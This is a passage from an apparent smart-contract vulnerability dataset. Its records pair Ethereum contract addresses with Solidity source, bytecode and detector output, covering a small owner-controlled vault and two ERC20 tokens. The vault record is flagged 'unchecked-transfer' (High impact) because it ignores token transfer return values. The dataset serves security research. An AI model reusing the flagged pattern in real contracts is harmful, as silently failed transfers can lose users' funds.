472657373a2646970667358221220095a07b37070ab438c14e49aa89a7ad5679db5bfc6c4349e782b6ff3056f474464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,164
0x70e24a1d57e30857ea64689569a34e671f81f018
/** *Submitted for verification at Etherscan.io on 2021-08-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(),"Not Owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0),"Zero address not allowed"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract vault is Ownable { using Address for address; function transferamount(uint256 amount,address _recipient,address token) external onlyOwner returns(bool) { require(msg.sender.isContract(),"Not an address"); IERC20(token).transfer(_recipient,amount); return true; } function reserve(address token) public view returns(uint256) { return IERC20(token).balanceOf(address(this)); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c8063715018a61461006757806377e2c793146100715780638da5cb5b146100995780638f32d59b146100b4578063e75179a4146100c7578063f2fde38b146100e8575b600080fd5b61006f6100fb565b005b61008461007f36600461044f565b610178565b60405190151581526020015b60405180910390f35b6000546040516001600160a01b039091168152602001610090565b6000546001600160a01b03163314610084565b6100da6100d53660046103f2565b61026f565b604051908152602001610090565b61006f6100f63660046103f2565b6102ef565b6000546001600160a01b0316331461012e5760405162461bcd60e51b81526004016101259061048b565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146101a35760405162461bcd60e51b81526004016101259061048b565b333b6101e25760405162461bcd60e51b815260206004820152600e60248201526d4e6f7420616e206164647265737360901b6044820152606401610125565b60405163a9059cbb60e01b81526001600160a01b0384811660048301526024820186905283169063a9059cbb90604401602060405180830381600087803b15801561022c57600080fd5b505af1158015610240573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102649190610414565b506001949350505050565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b1580156102b157600080fd5b505afa1580156102c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102e99190610436565b92915050565b6000546001600160a01b031633146103195760405162461bcd60e51b81526004016101259061048b565b61032281610325565b50565b6001600160a01b03811661037b5760405162461bcd60e51b815260206004820152601860248201527f5a65726f2061646472657373206e6f7420616c6c6f77656400000000000000006044820152606401610125565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b03811681146103ed57600080fd5b919050565b60006020828403121561040457600080fd5b61040d826103d6565b9392505050565b60006020828403121561042657600080fd5b8151801515811461040d57600080fd5b60006020828403121561044857600080fd5b5051919050565b60008060006060848603121561046457600080fd5b83359250610474602085016103d6565b9150610482604085016103d6565b90509250925092565b6020808252600990820152682737ba1027bbb732b960b91b60408201526060019056fea2646970667358221220c06ce85d865673a2883746e00de4d7e3cb4fed9a32e46ff22e3e4a66399d9d1064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,165
0x05cda2f1e70b01072038c3a62f8aa30cf9d4d509
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract TOKENMOM is BurnableToken, Ownable { //you just have to touch these 4 lines don&#39;t touch anything else , else you might break the code. string public constant name = "Tokenmom Token";//here you define the name string public constant symbol = "TMT";//here yuou define the symbol of token uint public constant decimals = 18; //just till here. uint256 public constant initialSupply = 200000000 * (10 ** uint256(decimals));// yes ok let&#39;s deploy it now // Constructor function TOKENMOM() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101d157806323b872dd146101fa578063313ce5671461027d578063378dc3dc146102a657806342966c68146102cf57806366188463146102fa57806370a082311461035d5780638da5cb5b146103b257806395d89b4114610407578063a9059cbb14610495578063d73dd623146104f8578063dd62ed3e1461055b578063f2fde38b146105d0575b600080fd5b34156100eb57600080fd5b6100f3610611565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061064a565b604051808215151515815260200191505060405180910390f35b34156101dc57600080fd5b6101e461073c565b6040518082815260200191505060405180910390f35b341561020557600080fd5b610263600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610742565b604051808215151515815260200191505060405180910390f35b341561028857600080fd5b610290610a2e565b6040518082815260200191505060405180910390f35b34156102b157600080fd5b6102b9610a33565b6040518082815260200191505060405180910390f35b34156102da57600080fd5b6102f860048036038101908080359060200190929190505050610a41565b005b341561030557600080fd5b610343600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b341561036857600080fd5b61039c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e35565b6040518082815260200191505060405180910390f35b34156103bd57600080fd5b6103c5610e7e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041257600080fd5b61041a610ea4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045a57808201518184015260208101905061043f565b50505050905090810190601f1680156104875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104a057600080fd5b6104de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610edd565b604051808215151515815260200191505060405180910390f35b341561050357600080fd5b610541600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b3565b604051808215151515815260200191505060405180910390f35b341561056657600080fd5b6105ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112af565b6040518082815260200191505060405180910390f35b34156105db57600080fd5b61060f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611336565b005b6040805190810160405280600e81526020017f546f6b656e6d6f6d20546f6b656e00000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561078157600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061085283600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e783600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093d838261148e90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a630bebc2000281565b60008082111515610a5157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a9f57600080fd5b339050610af482600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148e90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4c8260005461148e90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cb5576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d49565b610cc8838261148e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544d54000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f1a57600080fd5b610f6c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061114482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113ce57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561149c57fe5b818303905092915050565b60008082840190508381101515156114bb57fe5b80915050929150505600a165627a7a72305820f37c6ec9ff43346cc7e8c66b3ae573cdeec0052751e1791859287a3770d018710029
{"success": true, "error": null, "results": {}}
3,166
0xe394ee088cb60ba00aa50c973b0c548188c83a2d
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(!frozenAccount[msg.sender]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balances[_from] >= _value); require(balances[_to].add(_value) > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is StandardToken { 